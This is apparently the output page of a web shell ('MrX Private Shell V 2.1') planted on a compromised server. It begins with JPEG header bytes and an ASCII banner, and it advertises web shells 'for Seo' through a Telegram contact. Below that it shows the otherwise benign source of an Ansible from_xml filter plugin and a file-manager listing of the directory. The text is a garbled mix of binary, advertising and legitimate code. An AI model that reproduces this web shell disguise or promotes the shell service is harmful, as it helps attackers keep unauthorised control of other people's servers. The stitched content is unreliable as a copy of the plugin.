����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#
# -*- coding: utf-8 -*-
# Copyright 2021 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#
"""
The from_xml plugin code
"""
from __future__ import absolute_import, division, print_function
__metaclass__ = type
import json
from ansible.errors import AnsibleFilterError
try:
import xmltodict
HAS_XMLTODICT = True
except ImportError:
HAS_XMLTODICT = False
def _raise_error(msg):
"""Raise an error message, prepend with filter name
:param msg: The message
:type msg: str
:raises: AnsibleError
"""
error = "Error when using plugin 'from_xml': {msg}".format(msg=msg)
raise AnsibleFilterError(error)
def from_xml(data, engine):
"""Convert data which is in xml to json"
:param data: The data passed in (data|from_xml(...))
:type data: xml
:param engine: Conversion library default=xml_to_dict
"""
if engine == "xmltodict":
if not HAS_XMLTODICT:
_raise_error("Missing required library xmltodict")
try:
res = json.dumps(xmltodict.parse(data))
except Exception:
_raise_error("Input Xml is not valid")
return res
else:
error = "engine: {engine} is not supported ".format(engine=engine)
_raise_error(error)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| base | Folder | 0755 |
|
|
| connection_base.py | File | 4.05 KB | 0644 |
|
| consolidate.py | File | 6.08 KB | 0644 |
|
| from_xml.py | File | 1.28 KB | 0644 |
|
| index_of.py | File | 5.56 KB | 0644 |
|
| keep_keys.py | File | 2.71 KB | 0644 |
|
| remove_keys.py | File | 2.53 KB | 0644 |
|
| replace_keys.py | File | 2.27 KB | 0644 |
|
| to_xml.py | File | 1.67 KB | 0644 |
|